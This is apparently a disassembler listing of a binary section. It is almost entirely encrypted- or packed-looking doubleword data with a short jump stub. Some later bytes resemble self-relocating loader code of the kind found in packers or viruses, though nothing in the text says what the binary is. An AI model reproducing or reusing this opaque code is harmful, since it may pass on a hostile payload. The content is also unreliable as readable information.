		dd 0B66D7C68h, 1B031010h, 0CDED685Bh, 72013D75h, 8E443215h
		dd 6622321Bh, 0DB0E1F41h, 7F225A95h, 77D2A110h,	77D757Bh
		dd 0EF15DE96h, 84011601h, 6640F094h, 0A4A13215h, 4205B511h
		dd 5277CE49h, 0A2C56931h, 66223211h, 6610BA1Ah,	0ED743215h
		dd 0EF171619h, 62E1B3F6h, 0E7113215h, 668836D6h, 4258B515h
		dd 662ADB49h, 17283215h, 0D6FBA8B1h, 6BADA186h,	86223215h
		dd 80F9B145h, 9F0F93BCh, 0CB3E8042h, 380606EAh,	6615F694h
		dd 0E0873215h, 66443200h, 0B5CDB275h, 661139FCh, 0DCF5EA15h
		dd 25BEC50h, 92776174h,	84986074h, 668C8A45h, 0A4453215h
		dd 62E0B14Dh, 3A352692h, 0BC22DBE9h, 69BDCDEAh,	66223D9Dh
		dd 661BDB15h, 73133215h, 1735AB6h, 9BA2AA7Eh, 0F459B7D2h
		dd 668D340Ch, 6BAD3215h, 0CB223215h, 0BCC6B198h, 0AABB56Eh
		dd 4D01FB63h, 420EB343h, 1143294Eh, 0E5AC2E9Eh,	0A5C536D1h
		dd 1170294Eh, 661138FCh, 57169615h, 51221E2Eh, 372E0F30h
		dd 661136ACh, 0ED433315h, 0A2C51619h, 66223211h, 0DB4460ECh
		dd 66883215h, 6719D89Ch, 3C3831E7h, 41953DEDh, 6883215h
		dd 664438FCh, 2A917D15h, 59C5CBE7h, 8F1B9ADBh, 66443204h
		dd 7C7B9C87h, 552877F2h, 0EA309935h, 4DD3FBFDh,	0E3A95396h
		dd 60032F48h, 66883AFCh, 3501B315h, 461740ACh, 0D784B948h
		dd 8F8E2033h, 66443206h, 28FE15F4h, 1AB4804Dh, 0F48D6C3Ch
		dd 883A0E68h, 31C62911h, 99EECDAAh, 397633EAh, 6645B71Ah
		dd 0E5D73215h, 7421C3A8h, 0E2873313h, 664434C8h, 69FA09EDh
		dd 66110D97h, 71063D15h, 8F443215h, 66223207h, 0A51B4D94h
		dd 4AC4A756h, 7026D034h, 9A3E1DC9h, 0BC2AA034h,	6700B41Ah
		dd 0E7243215h, 62E008DFh, 6619DA5Ah, 0ACE23215h, 6B6744A3h
		dd 0DF44056Dh, 749B448h, 547D879Ch, 6EAD3407h, 0BF223215h
		dd 2CBD2C22h, 0ED22CD9Fh, 7FD67A88h, 22A3C713h,	6CD3E31h
		dd 3A892773h, 0D9133E31h, 734452C9h, 76354E3Ch,	6687DB4Ah
		dd 0DDA53215h, 9BD21E38h, 98E51C01h, 0FC5CCC31h, 600FDBD6h
		dd 6DA3215h, 0C1B973h, 71EDAAEh, 36600E9Eh, 6227D29Ch
		dd 63113215h, 66883211h, 3A603692h, 6635B71Ah, 0EC1E3215h
		dd 66883204h, 66443EFCh, 0DDE45D15h, 5163615Dh,	92EDAF04h
		dd 72C23D1Ah, 69223215h, 66113C98h, 6681DB15h, 4F4A3215h
		dd 0BF1E141Dh, 0A105550Fh, 74B8C390h, 66443313h, 0D12D5215h
		dd 6602DADBh, 0B3123215h, 62BD3D3h, 0E2E2CAEBh,	0F1245122h
		dd 0CD77A312h, 0ED2568ACh, 0EF751609h, 62D6B3F2h, 0E7883215h
		dd 664436D2h, 421EB515h, 6A903D49h, 69883215h, 66443496h
		dd 66A23D15h, 99113215h, 0E5D11621h, 60AD36D1h,	52223215h
		dd 5605BD54h, 42BCCDCDh, 6280B14Bh, 662BB31Ah, 0EC713215h
		dd 0A70954E0h, 8F25C5B6h, 6622321Ah, 161C3970h,	0F7547297h
		dd 0E66142F3h, 0E208ED5h, 66113843h, 0EFAC1E9Ch, 6281B3F0h
		dd 0E5223215h, 4A9636D0h, 68616E31h, 3443215h, 0A707214Dh
		dd 5B12B4Ah, 0BC57FC39h, 0B29EDBE6h, 8FD7CDEAh,	6611321Bh
		dd 9715F75Ch, 0C24F6427h, 1C4174F1h, 0DB920F01h, 609A2F0Ch
		dd 7CC03D14h, 69223210h, 66113397h, 0FBA3CB15h,	60562F48h
		dd 662222FCh, 0D1C36415h, 0FC746D2Bh, 7A2F394Eh, 0D993698Dh
		dd 5B9CB906h, 8F8E2038h, 66443210h, 97CA965Ah, 5AAE6582h
		dd 4FDCFB4Eh, 0BF456DECh, 3D1EF394h, 0E7E466DCh, 0F8B605FCh
		dd 35BD1B76h, 5A7730AEh, 0E7C2C524h, 38A632F6h,	1187B37Bh
		dd 0E72FA954h, 0A6C3F2D6h, 3D513312h, 63F967ECh, 0E7223215h
		dd 17B01D4h, 0E7611B2Ah, 12E01FCh, 6ECB6F2Ah, 0A5113215h
		dd 0B852924Fh, 9FBBEE93h, 0A0966246h, 8121DCA2h, 6467F24Dh
		dd 0EEA7C595h, 0EA2D69EDh, 66113219h, 668EB71Ah, 0E74B3215h
		dd 66223215h, 76F898E9h, 0C0883215h, 0E5FB13C6h, 0F228541Ch
		dd 237A404Ah, 0E72ADE70h, 664436F9h, 4226BB15h,	8F486A44h
		dd 6688321Dh, 2979142Eh
		dd 8C86730Eh, 6617DBBEh, 0DB473215h, 81576065h,	6670C47Dh
		dd 423DBB15h, 0A309D79Ch, 66443211h, 0E126F796h, 8F4D1639h
		dd 66883204h, 0C8F83EC3h, 5E9DE2F6h, 0E4F2B2EBh, 9B229614h
		dd 73CE3D83h, 8F223215h, 66113205h, 0FE711C06h,	2288E99Bh
		dd 9FD8A3FDh, 0E2504999h, 33AC2E9Eh, 0A3C5D79Ch, 66223211h
		dd 0E115F796h, 6D41639h, 27DD91AEh, 60AC3D60h, 69113215h
		dd 66883296h, 52BB5315h, 0A2A16B31h, 6A9D3D11h,	6883215h
		dd 33D71AADh, 0B0A3540Dh, 0ED701BD5h, 0EFDE1621h, 6282B3F3h
		dd 0E7223215h, 661136D3h, 42BCB515h, 0ACCF5249h, 6627B91Ah
		dd 0B9AF3215h, 7CBD68Bh, 0CB748A75h, 7DB2938h, 661EF47Dh
		dd 42B4BB15h, 0A1C5D59Ch, 66223211h, 0E115F596h, 69D41629h
		dd 66442392h, 662EDB15h, 66E3215h, 1BA47A3Bh, 90CABFB3h
		dd 47CBCDACh, 69EECDC3h, 66883896h, 6641DB15h, 986A3215h
		dd 0A17C0405h, 7F1A7A90h, 66443013h, 662FDB15h,	191C3215h
		dd 9F9DFB33h, 0E2985720h, 0E736E306h, 661136F9h, 4284BB15h
		dd 0ADCDC39Ch, 6624DB4Ch, 1BAD3215h, 0BACE35A3h, 694A841Ah
		dd 66223A9Dh, 0A0905215h, 795EE937h, 0E6BDB274h, 66B5B11Ah
		dd 8F713215h, 66883205h, 6D9BB777h, 513EEA8Ah, 0B790851Eh
		dd 160786Fh, 664439FDh,	3239A615h, 4F9E3E82h, 5AA2106Ah
		dd 3DFEF795h, 7BE1B374h, 675AB246h, 0AF3062DEh,	43301957h
		dd 1646DBBh, 2F065F18h,	6578175Ch, 5B412A0Ch, 4F61455Ah
		dd 0E61E6AD6h, 6688320Dh, 664421FCh, 68C0E715h,	0F750EC3Ah
		dd 26CA7384h, 15B3BC89h, 65D8910Ah, 99EE8B44h, 0ADA1CDEAh
		dd 6DC73D4Ch, 6223215h,	0C883EB94h, 0EDEE0CC2h,	0D7AD53DFh
		dd 6223215h, 6A8375h, 7533DAFh,	62A8B374h, 0EF223215h
		dd 99A51611h, 69D0D33Dh, 66443C98h, 63CB5215h, 6E113215h
		dd 3561F352h, 36256DA6h, 137D5A42h, 0E74E4C45h,	0F8F0DBD2h
		dd 0B9ABB35Dh, 0E72BCA27h, 90AA5BFAh, 3970BBA9h, 0A7CDFA3Ch
		dd 49A524Dh, 0E63D9CECh, 33E97FDAh, 761098A8h, 3EE7B321h
		dd 2B419771h, 0E06DB358h, 0E706AC78h, 0F20A33F8h, 0EDF81315h
		dd 0A2091639h, 66443211h, 662221FCh, 0FB7C15h, 7C5B2380h
		dd 0D783282Ch, 0B9832366h, 0B0DA38E2h, 5FF3D994h, 0AD6D0838h
		dd 5F598A45h, 0A5100838h, 668EDB4Dh, 0B3233215h, 81927594h
		dd 7B4CB79Eh, 0ED743407h, 74628380h, 6AAE3D13h,	69113215h
		dd 66883497h, 66C63D15h, 8F223215h, 99EEC89Eh, 2E0DF5E0h
		dd 64422B87h, 69223215h, 6611339Bh, 34DECE15h, 434525AFh
		dd 4276332Ah, 0E74A6811h, 438925FEh, 6650DB2Ah,	0FCD53215h
		dd 0E799F391h, 102C7FA9h, 735FB124h, 8C898836h,	69E45144h
		dd 0E6703CA3h, 0E54BB2ECh, 66223253h, 0A590CEE0h, 2C95724Ch
		dd 48E1F194h, 0AD23322Fh, 48B4D994h, 8D09322Fh,	2C59724Ch
		dd 0B99D65E9h, 0E75BD235h, 795712E2h, 39BF1BA0h, 662234FCh
		dd 0F42D4315h, 8F18183Bh, 6644328Dh, 139A5475h,	9B9B6093h
		dd 0D5DB534Ch, 0DD87B2B2h, 3444E9E3h, 952153A3h, 0BFA06873h
		dd 6656DB4Eh, 0A9463215h, 0FAAF8783h, 54A212B9h, 81E708B4h
		dd 60F06D21h, 91F8B55Ch, 9361B5C0h, 7A38375h, 1E348F40h
		dd 0DD420C5Bh, 68B81B6Eh, 0E71FEF3Ch, 1C3192E0h, 8B907F7Ah
		dd 39EC6E2Eh, 619DB34h,	0F1B973h, 0EA9EB94h, 0A509CA74h
		dd 2E204057h, 7A4FD994h, 0AD3879F3h, 7AE5F194h,	8DC579F3h
		dd 2E464057h, 66113DFCh, 0A97C9715h, 18CD2B33h,	203D0284h
		dd 9F3843B1h, 7BD5B79Eh, 0EDB13407h, 74048380h,	0DB92CA13h
		dd 609A2F0Ch, 6DC03D14h, 69DDCDE2h, 66112591h, 669ADB15h
		dd 6D613215h, 0B0FA3B58h, 262DED75h, 355B2AC3h,	49B9BF3Ah
		dd 0E42DEA2Eh, 66113205h, 0F7B78975h, 5F251FB5h, 48A43DC6h
		dd 9EEECDF8h, 66898F40h, 886D3215h, 60A73D48h, 6113215h
		dd 942E8873h, 4AC56474h, 555F8931h, 421DB908h, 0E78CF696h
		dd 553989D4h, 67AE3D08h, 9F113215h, 6B778847h, 0B7455CD6h
		dd 0E7DB1B4Fh, 0A51CCDFCh, 6685DB7Bh, 8B663215h, 43180962h
		dd 0A1440E57h, 36BCD167h, 664437ADh, 99E3B315h,	4F63926Bh
		dd 9961B3D4h, 3E36926Bh, 6623BC1Ah, 34E43215h, 9600DBA3h
		dd 0E560269Eh, 8F4236D1h, 6611321Fh, 0C36DAF84h, 0FAC075C0h
		dd 94A25547h, 0CCE85380h, 668838FCh, 7CB75C15h,	6E4CAACCh
		dd 5756A560h, 574903DDh, 8FEFC7DDh, 66223204h, 0F798D04Bh
		dd 0F645EB3Ch, 64A8F78Bh, 9DBA8E03h, 0B43FDBE6h, 8FE8CDEAh
		dd 66443210h, 598F70A9h, 25AE54F4h, 90E05318h, 0EF443263h
		dd 66981601h, 67113215h, 3C8AB8E7h, 664422FCh, 0F8494F15h
		dd 0F821185Bh, 5A38570h, 6036629Ch, 69CA0EDFh, 66111E91h
		dd 600D3D15h, 6443215h,	0A4A954EDh, 66AC6774h, 0EF883215h
		dd 4268B9FDh, 6926F696h, 6611349Dh, 0EDEE5215h,	8F25CBC2h
		dd 662233AFh, 62FDB1E0h, 8FAC2E9Ch, 66443206h, 4C2A3FA6h
		dd 80CF08FFh, 0E7C33862h, 0CFC43608h, 333A749Eh, 8D98C79Ch
		dd 0E5AC1E9Eh, 692436D1h, 6E95EBA2h, 62FDB174h,	0DFAC3E9Ch
		dd 66443214h, 7F21C314h, 709B3D4Ch, 8F883215h, 66443204h
		dd 0BCA34CECh, 421AE410h, 3C8446A0h, 7A3F4E6h, 0DC70CEF9h
		dd 66113210h, 7B63F194h, 0B545144Dh, 7BC9D994h,	694B144Dh
		dd 6688239Eh, 6648DB15h, 91E63215h, 94DC61CCh, 0B625DF85h
		dd 0D315310Ch, 36EFCC15h, 0AAEF37A1h, 98E1F695h, 0E8A8B2D1h
		dd 0E68CD695h, 8321BBF9h, 3F60BA4Dh, 664437FCh,	6AD0A315h
		dd 6BB598Dh, 660F3D43h,	38443215h, 0E74319A0h, 387700D6h
		dd 0BA63B30Dh, 4F654C7Eh, 0BAE1B3EEh, 0E7304C7Eh, 38EE00FEh
		dd 0FDFC520Dh, 8E3990F5h, 6611321Eh, 6FE6C990h,	298587AEh
		dd 8FD0ABEAh, 66113219h, 0EDDB5D3Fh, 6EE87645h,	4C293EE6h
		dd 8A90534Ch, 66883211h, 0D860069Ch, 66223211h,	694FC13Ch
		dd 66883592h, 67C33D15h, 93223215h, 629A6145h, 624CB131h
		dd 0AEC5524Eh, 646439D7h, 661139FCh, 8ADAF915h,	718E67F4h
		dd 8B95A5F0h, 9F719974h, 7738D1Ah, 35602E9Eh, 0A5A3D19Ch
		dd 66113211h, 0E18CF196h, 69181609h, 66223495h,	0D9775215h
		dd 35E9A063h, 664437AEh, 0EDFC3315h, 0A2901609h, 66883211h
		dd 750C8B75h, 34435E34h, 2F3726AFh, 9152C524h, 3396C5C7h
		dd 367699A8h, 3BFB3365h, 0B7E2F094h, 0B6CDF2EDh, 0DC44524Fh
		dd 0D91E2A73h, 696153C4h, 45443215h, 8F86274h, 0BA38A82Fh
		dd 871A33BDh, 69872816h, 66223A97h, 64943D15h, 6883215h
		dd 0D385A74h, 6AAB3215h, 74F85231h, 0D883215h, 19AB9DFBh
		dd 0B812D8BDh, 0FB13AF09h, 0C45E38CDh, 69AD53FFh, 0F9223215h
		dd 3FF52FB4h, 338A9715h, 6F0852F8h, 0DF73268Ch,	66113215h
		dd 0EDEEC314h, 4248B914h, 6626F694h, 5AED3215h,	350C3DD6h
		dd 69443214h, 66223A93h, 64993D15h, 6883215h, 698F0E74h
		dd 66230F91h, 8F71CA15h, 66883204h, 0AC3A32B9h,	7C650957h
		dd 47E57590h, 1FF06D0Fh, 0A47853D4h, 671DB61Ah,	8E713215h
		dd 66883219h, 0C06220B8h, 0FA2E84B5h, 7E64C98Fh, 0DE6C8973h
		dd 0EF4B524Dh, 66223215h, 0AC2D5374h, 679FB61Ah, 0EB4B3215h
		dd 66223211h, 7705275h,	43770F73h, 677EB61Ah, 0EB2D3215h
		dd 66113214h, 48B554E0h, 15C13DEAh, 93223215h, 66138946h
		dd 95893215h, 66448B44h
		dd 0BF233215h, 3D48339Fh, 8F7D5275h, 66443219h,	0B98CB2C6h
		dd 4E697A6Fh, 4899E4CEh, 0BDF33D74h, 75CB5274h,	0C1113215h
		dd 710FAD35h, 0A833680Dh, 0BA3E3DE5h, 8DF28538h, 88024A4Fh
		dd 0D0166374h, 4E328797h, 939168E0h, 3F60126Bh,	664434FCh
		dd 0A3476615h, 5A33D074h, 670C3DB5h, 9A443214h,	0A5A95475h
		dd 52EE53ECh, 0A20B6B31h, 6656DB11h, 76DE3215h,	462DE51h
		dd 7E0DD7A8h, 7AFA070Dh, 0BD4E6468h, 6BDD8B44h,	8F095FEAh
		dd 3801466Ah, 50E3B35Ch, 0E74E75F0h, 96DCA4DCh,	2F9DC569h
		dd 0A7A3EBE2h, 28445FAEh, 8ADAC394h, 0AECDFC53h, 11CBCE4Ch
		dd 8F113214h, 66883213h, 0C5CC1156h, 0AF13EF78h, 0B99A5475h
		dd 34E942A0h, 99BBCDAFh, 3CF31BEAh, 66C2DBEDh, 60613215h
		dd 67443215h, 668FAF5Ch, 65AC67BCh, 33883215h, 69B16F4Ch
		dd 66222B9Ch, 6605DB15h, 29003215h, 0F40331A9h,	1C954CA2h
		dd 0E7D129E5h, 71781491h, 0FCAD3FDEh, 6223215h,	0DDDFB3EDh
		dd 7B4BD27h, 22478946h,	0ADA37441h, 8154A96h, 9C3F994h
		dd 0BDB3786Dh, 3B7DF994h, 0B5E65C60h, 6EC08B44h, 0AFC517CAh
		dd 65832A94h, 5D52DB94h, 0AD891A12h, 3D9DBB4Ch,	662C8975h
		dd 9A46468Eh, 2861534Dh, 9A443215h, 22CC8C43h, 88902E7Bh
		dd 384A71A2h, 41FAF494h, 88A365FBh, 738B1AFBh, 5203C39Ch
		dd 6280B331h, 69223215h, 6611169Ah, 6E605215h, 48443215h
		dd 0C265879Ch, 38B59EF5h, 66883DFCh, 1BAB2F15h,	6C9681A2h
		dd 8867F97Fh, 6F38DBD9h, 69E0C174h, 66223396h, 0EB9ACE15h
		dd 609A14A4h, 89AB275h,	66223FFCh, 58C60515h, 983B136Ah
		dd 31CD827Ch, 0E34366D7h, 6B943DDCh, 6883215h, 0BD258D73h
		dd 0D797BB74h, 9F172033h, 37AC3E9Eh, 0A7C5D39Ch, 66223211h
		dd 0E115F396h, 6D41619h, 664426FCh, 811AFC15h, 0E876D6A6h
		dd 463A271Dh, 0F85E94A5h, 61C9DC3Ah, 33795370h,	0EF883206h
		dd 9A2C1609h, 3D4F062Ch, 0A014F194h, 0BE01A0DEh, 687CE4Eh
		dd 669B6374h, 67113215h, 577754E4h, 4270B373h, 3E444860h
		dd 1C640773h, 0E7EE524Ch, 69CB68DAh, 5A43ECA2h,	0CF953DD6h
		dd 9E883214h, 3685BA44h, 0A5AAFA9Dh, 37E96B4Dh,	0ADA8C2A4h
		dd 0E7603E9Eh, 662236D1h, 661BDB15h, 2FB73215h,	0CBDBB4A6h
		dd 0B35FA7AFh, 6961C995h, 668CB791h, 6655DB15h,	0E4B93215h
		dd 0FA85439Ch, 0D2938697h, 1F276927h, 5A94E75Fh, 3F953DFCh
		dd 6883214h, 0A1ACB373h, 49B54CCh, 8D2D536Ah, 67CEB61Ah
		dd 0E54B3215h, 6622320Fh, 661CDB75h, 57CA3215h,	76A13422h
		dd 272267E2h, 6986F436h, 66883297h, 0A4785315h,	673CB61Ah
		dd 61F83215h, 49883215h, 0B5D7C2F7h, 5ADB95A9h,	6F953DDEh
		dd 69883214h, 66442196h, 6BAB3D15h, 8F113215h, 6688321Dh
		dd 83C04CA7h, 9BF57EF3h, 43EE0F73h, 666EB61Ah, 75AD3215h
		dd 88223215h, 0AE7E2BB1h, 1575BBF3h, 0FA1AFC08h, 0FEBBB759h
		dd 77F8423Bh, 84883215h, 0DCC928AAh, 12DF360h, 13E0A426h
		dd 62C9C9C3h, 0E24BF829h, 662232A5h, 6610BF1Ah,	5A713215h
		dd 0C9C03DF6h, 8F223216h, 6611321Dh, 9DF22A22h,	0CF6A3100h
		dd 66223AFCh, 0ED5B9D15h, 2E09AEBCh, 487954BCh,	33A73DEAh
		dd 8F113215h, 66883204h, 8900D3F8h, 0B3F485EFh,	235356BFh
		dd 668CAF03h, 0DF156173h, 16252C95h, 9EF0B0AEh,	3F43339Ah
		dd 65CEC114h, 662ADB4Eh, 0F4C33215h, 0CD876701h, 8AC7113Ch
		dd 4236BB11h, 0B631C2A7h, 0D987524Fh, 4C2488E3h, 5A4355F0h
		dd 4F953DB5h, 9F883215h, 55FF6140h, 2571D74Bh, 0A752E1E2h
		dd 8D0936F6h, 0A7EE2ED5h, 0EF79EF9Ch, 8FE46FFDh, 66883269h
		dd 8FB975h, 77826AFh, 40A0879Ch, 0EB713407h, 7ED8AD88h
		dd 662BDB13h, 4B293215h, 3A57726Eh, 99729441h, 72CA52C6h
		dd 2A113215h, 0A0E04E3Bh, 244F364Bh, 84BC85A7h,	8A490A5Ch
		dd 0E71D9332h, 778383FFh, 0D92D6D5Ah, 0D94653DEh, 5A9118F7h
		dd 219BC55Ah, 3027DDD4h, 5233E9ABh, 0E566B36Ah,	67C1614Ch
		dd 9EAB6CE2h, 661FDB4Ah, 0A653215h, 3288F98Dh, 0C726AE83h
		dd 0A101E741h, 62E0CED6h, 0EF443247h, 0ED421611h, 74F64CFh
		dd 0E79844EAh, 2A9F1639h, 337A1CB7h, 0C45DE9A8h, 3B60333Bh
		dd 664438FCh, 0F66E8B15h, 9DBB80B2h, 69A401F0h,	66443E95h
		dd 60AC3D15h, 69113215h, 6688329Bh, 7FC1BB15h, 6242026h
		dd 661135FCh, 0CB8B7015h, 0B1914703h, 7FC851Ah,	3735369Eh
		dd 0A709D39Ch, 66443211h, 0E126F396h, 64D1619h,	6C61D1A2h
		dd 0C2443215h, 665EB46Bh, 73BD6DBBh, 35DF53DBh,	6A14E7AEh
		dd 60C1F37Eh, 8DD0E1E2h, 3F63B310h, 91048C01h, 8EC9B3CEh
		dd 0EF2FE4A0h, 988969CAh, 6ACE3D4Ah, 8F223215h,	66113212h
		dd 9F918462h, 0EB75D734h, 743BAFA8h, 6603DB13h,	0E8593215h
		dd 9BBAEDC7h, 1B323997h, 0AD63CDB7h, 0AEA4F7CBh, 1C41CBB8h
		dd 65230A24h, 33351651h, 5A96D0A8h, 60A9F32Bh, 0A723C794h
		dd 8E3833D5h, 6682DB48h, 0DA063215h, 0AC5D7311h, 9682CD1Ch
		dd 0DFEE52BEh, 72ADF418h, 38223215h, 0B1683456h, 56A45FD5h
		dd 0BBF7BC35h, 547C3E2Dh, 76EF858h, 668839FCh, 8CAF2115h
		dd 0DEE46804h, 0D9E86D74h, 7C118F98h, 0CBB13407h, 0EF318D75h
		dd 61F87581h, 0F4883215h, 0BC197E41h, 634374FCh, 18446A86h
		dd 0D4F75810h, 42003158h, 19481F31h, 0F53C7FA7h, 6F6674Dh
		dd 8FB78D1Ah, 66223207h, 0D6D8E904h, 3F3BF83Ch,	343225A0h
		dd 0FDC8A7BCh, 9A709495h, 66E0387Dh, 4240BB15h,	662237FCh
		dd 41651415h, 8F23DF2Ch, 66443204h, 3A0DAE3Ah, 0F62CD311h
		dd 8DE4B4FBh, 9D83C6A8h, 7FA03D35h, 6113215h, 66883EFCh
		dd 1A976115h, 2804984Ah, 7CC54C97h, 660E3D01h, 7443215h
		dd 4BA78F98h, 0E31E3407h, 66883200h, 664422FCh,	0D2E85215h
		dd 0EF2EF7D6h, 4BE36801h, 59B34809h, 69429FDEh,	66112690h
		dd 6686DA15h, 27E13215h, 0F144BE1Bh, 0D9990D2Bh, 0F9E17535h
		dd 78BB94Eh, 662221FCh,	4F4F1715h, 4B5958ADh, 840610Fh
		dd 96657329h, 2F7BF1Bh,	11188B44h, 0A7C51007h, 9B62BB7Ah
		dd 6548FA14h, 4BA01651h, 791732EAh, 662235FCh, 0CAB28B15h
		dd 0E0C00A4Ch, 6DCB3DBEh, 6223215h, 766FD894h, 0EDEE753Bh
		dd 99BD53EDh, 0E57C1621h, 60F836D1h, 25883215h,	0CBEE8686h
		dd 6942F1C2h, 6611339Ch, 7661CA15h, 0D5443215h,	0DEAFB21Dh
		dd 0C392099Bh, 0A2F7836h, 7090E0Fh, 662EB21Ah, 0E81E3215h
		dd 66883213h, 6644B41Ah, 684A3215h, 0EF113275h,	0EB741621h
		dd 7EDFFB88h, 6AA33D13h, 69113215h, 66883496h, 66C03D15h
		dd 99223215h, 70903DC6h, 8F883215h, 66443204h, 0AB333502h
		dd 585EA8CDh, 4230A132h, 6EE5C2D5h, 9AA4DB3Bh, 0DFF8CDEAh
		dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0D70CC0D5h, 0ED96A45Ch
		dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h,	8A152A1Eh
		dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h
		dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh
		dd 0A851D6ACh, 8660D554h, 2559D7BAh, 934D64CEh,	32DCF143h
		dd 8C0C7371h, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h
		dd 0F00F38C8h, 7462C4Dh, 0B10887DFh, 3C6D552h, 92B85E00h
		dd 75152A54h, 0DDAEAE30h, 0E08FA75Ch, 0FB57BB1Dh, 0D330B0D9h
		dd 7BAEA45Ch, 63E96FDDh
		dd 0A851A258h, 75195FABh, 32DCAA30h, 8C0C7222h,	8DCB2F16h
		dd 7513330Dh, 54142B96h, 8A152ABDh, 0EDDAC345h,	82D7E3A8h
		dd 3044BA45h, 9D8D0000h, 6123459h, 23E4B8h, 1858900h, 0E8061223h
		dd 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	near ptr byte_5FFABD
; ---------------------------------------------------------------------------
		align 4
		dd 35h dup(0)
		dd 0E9830000h, 8BA4F305h, 0AA5867CBh, 0DCB13256h, 82CC30EBh
		dd 0D1A5E736h, 0CF8182ECh, 5E0FB506h, 0EABDDBBAh, 444C3256h
		dd 56F95C8Eh, 2156E961h, 0AE598DC5h, 0DB13256h,	6736D8D7h
		dd 5E9834Eh, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh,	63817C17h
		dd 3FD525FBh, 8EADFDF5h, 22916CC6h, 7ACFB734h, 29B723ACh
		dd 7A1A20ADh, 277975FDh, 4796987Ch, 0FFA073E4h,	0E9834E86h
		dd 8BA4F305h, 4CBD8DDBh, 8D061992h, 1A1B058Dh, 6644B806h
		dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h,	0B870FF6h
		dd 0E9000000h, 6, 0BA8B0DBCh, 0BF60B3C3h, 3381917h, 0FE961F8h
		dd 3A000000h, 0AC96643Eh, 85422482h, 0D8033FFFh, 7A683D80h
		dd 89000030h, 60582404h, 0D38B66FCh, 1BD8361h, 6122Fh
		dd 0BD830975h, 6122149h, 50197400h, 0B8C08B53h,	411h, 2B98589h
		dd 9D8D0612h, 614AD70h,	585BD3FFh, 2149BD83h, 74000612h
		dd 0B8535017h, 411h, 2B98589h, 9D8D0612h, 614AA11h, 585BD3FFh
		dd 2ECF8160h, 0B514318Fh, 83F561FFh, 48904ECh, 880F5824h
		dd 1, 8D8DF8F9h, 61A1E80h, 8D89D18Bh, 6122DCDh,	80DE8B66h
		dd 85C738ECh, 61231BDh,	6284h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 74C35141h, 6810Fh, 0C3810000h
		dd 73AC8711h, 1185C7h, 612h, 0BD890000h, 6123469h, 835B5FFh
		dd 0BF0F0612h, 8195FFC2h, 6A061227h, 0D195FF00h, 8B061229h
		dd 0F84DEBC0h, 0D692D4B6h, 65CF097Ah, 469801EEh, 6C39F45Fh
		dd 0DD7B0844h, 405F3270h, 7753DBD3h, 467290D1h,	70A98751h
		dd 66C5D82Eh, 0ECC0D07Eh, 0AD69056Fh, 0E27443D4h, 0DD86677h
		dd 7996EB4Fh, 9BF7A6C7h, 0FD0041DFh, 2CD84F64h,	479FE06Dh
		dd 11E8h, 0C498DF00h, 0EB7C1F66h, 0BDAECEADh, 0C7874F59h
		dd 0F59A354h, 681h, 21BD8B00h, 81061204h, 5D2DC1h, 68C0F00h
		dd 89000000h, 1215F59Dh, 795BBE06h, 0F6813356h,	33566E47h
		dd 29BD8953h, 5B06122Dh, 816631FFh, 5AC21BC3h, 812BEB80h
		dd 4C4007F2h, 11B5895Ch, 81061226h, 6914FAF2h, 0A8E0F39h
		dd 60000000h, 9D8B5950h, 61224C1h, 9FC28161h, 0F6B6378h
		dd 584h, 0EB816600h, 118950A3h,	10E8h, 504BDB00h, 0C4BC784h
		dd 0E13D7863h, 73436134h, 5FD88B0Bh, 0E0DBE981h, 66B06C66h
		dd 0E0D7C181h, 858B6C66h, 612338Dh, 1EE81h, 850F0000h
		dd 0FFFFFF88h, 29F99509h, 0EDE90612h, 60000000h, 0A8D88C66h
		dd 0DF840F04h, 8B000000h, 123335B5h, 0FE8306h, 22850Fh
		dd 85C60000h, 61215C1h,	69696845h, 0B5FF8E72h, 61217F1h
		dd 827A858Dh, 0D0FF0615h, 2E3D8589h, 0F08B0612h, 0FE93E80h
		dd 3185h, 3D858D00h, 0FF061790h, 0C1BD8BD0h, 81061212h
		dd 1184C7h, 35B58B00h, 87061233h, 8B9F7h, 0A4F30000h, 3335B58Bh
		dd 858D0612h, 615AA9Fh,	0B58BD0FFh, 6121B91h, 0F00FE83h
		dd 2285h, 0C185C600h, 54061215h, 4EBEF468h, 0F1B5FFFFh
		dd 8D061217h, 15827A85h, 89D0FF06h, 121B9185h, 80F08B06h
		dd 850FE93Eh, 3Ah, 1B91B58Bh, 858D0612h, 617903Dh, 0BD8BD0FFh
		dd 61212C1h, 1184C781h,	0C7830000h, 91B58B08h, 8706121Bh
		dd 8B9F7h, 0A4F30000h, 1B91B58Bh, 858D0612h, 615AA9Fh
		dd 0C361D0FFh, 1F9D858Dh, 8589061Ah, 6122C5Dh, 0EE8h, 80ACFC00h
		dd 0DDF4A341h, 0C62E3603h, 5083EC34h, 0E8585BF8h, 10h
		dd 80F0F996h, 0E6052AE5h, 88B34B6Ch, 0D85EB253h, 0B1C0815Fh
		dd 66000068h, 0C92BF28Bh, 148BF88Bh, 8CEA8108h,	801C25B9h
		dd 0EA8165DFh, 6F6799C4h, 0EE8h, 2D222800h, 82CF10ADh
		dd 659382B5h, 0E977FC6Ah, 14h, 0FB95F014h, 2A0D75DEh, 94B5C47Dh
		dd 0CEB2E370h, 3BC38205h, 5AC2815Fh, 6657825Fh,	0D4B1C781h
		dd 0F081489h, 385h, 0FFB70F00h,	1E983F8h, 11E860h, 0CFBD0000h
		dd 554E2349h, 0A34FB501h, 50342A6Ah, 802DACB7h,	665B01CDh
		dd 4961F78Bh, 0E8BF4949h, 8114E684h, 0FF9824F9h, 73850FFFh
		dd 0E9FFFFFFh, 12h, 7FC63B63h, 0A6E69FF9h, 77BE5EE0h, 664AE052h
		dd 32E9A575h, 0F000000h, 26B10Ah, 0Bh dup(0)
		dd 529E900h, 0D2680000h, 0E9061A22h, 0FFF85F45h, 1A233D68h
		dd 5F3BE906h, 0DB68FFF8h, 0E9061A24h, 0FFF85F31h, 0D522EDA4h
		dd 72BF503Ch, 115EB1D9h, 0ABF81778h, 47947B12h,	0FD905E57h
